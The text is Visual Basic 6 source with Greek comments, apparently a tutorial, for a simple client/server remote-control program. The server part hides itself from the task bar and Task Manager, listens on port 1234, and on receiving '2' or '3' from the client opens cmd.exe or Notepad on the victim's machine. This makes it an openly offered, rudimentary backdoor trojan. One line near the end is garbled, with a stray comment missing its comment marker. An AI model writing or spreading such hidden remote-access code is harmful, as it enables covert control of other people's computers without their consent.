1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text ' Να συνδεθεί στην IP που βρίσκετε στο Text1.Text
Winsock1.RemotePort = 1234 ' Να χρησιμοποιήσει το Port 1234 (πρέπει να είναι το ίδιο με το server)
Winsock1.Connect ' Να συνδεθεί
End Sub ' Επόμενο...

Private Sub Command2_Click()
Winsock1.SendData "2" 'Το Winsock να στείλει την πληροφορία "2" στο server κάνοντας κλικ στο 'Command2'
End Sub

Private Sub Command3_Click()
Winsock1.SendData "3" ' Το Winsock να στείλει την πληροφορία "3" στο server κάνοντας κλικ στο 'Command3'
End Sub

Private Sub Winsock1_Connect() ' Αφού το Winsock συνδεθεί με επιτυχία
Form1.Caption = "Connected to IP" & Text1.Text ' Στο Form1 να εμφανιστεί στο πάνω μέρος "Connected to IP" και την IP.
End Sub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 

Private Sub Form_Load()
App.TaskVisible = False ' Να μην είναι εμφανίσημο στο 'TaskManager'  
Me.Hide ' Κρυμμένο
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 1234 ' Να χρησιμοποιήσει το Port 1234
Winsock1.Listen ' To Winsock1 να περιμένει εντολές απο το Client
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'To Winsock να δεχτεί την σύνδεση
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data 'Το Winsock να πάρει τις πληροφορίες απο το Client

If data = "2" Then ' Αν στάλθηκε η πληροφορία "2" τότε...
On Error Resume Next ' Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
Shell ("C:\WINDOWS\system32\cmd.exe") ' Αν πληροφορία "2" τότε εκτέλεσε "Shell ("C:\WINDOWS\system32\cmd.exe")"
End If

If data = "3" Then ' Αν στάλθηκε η πληροφορία "3" τότε...
On Error Resume Next '  Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
Shell ("C:\WINDOWS\system32\notepad.exe") Εκτέλεσε το
End If

End Sub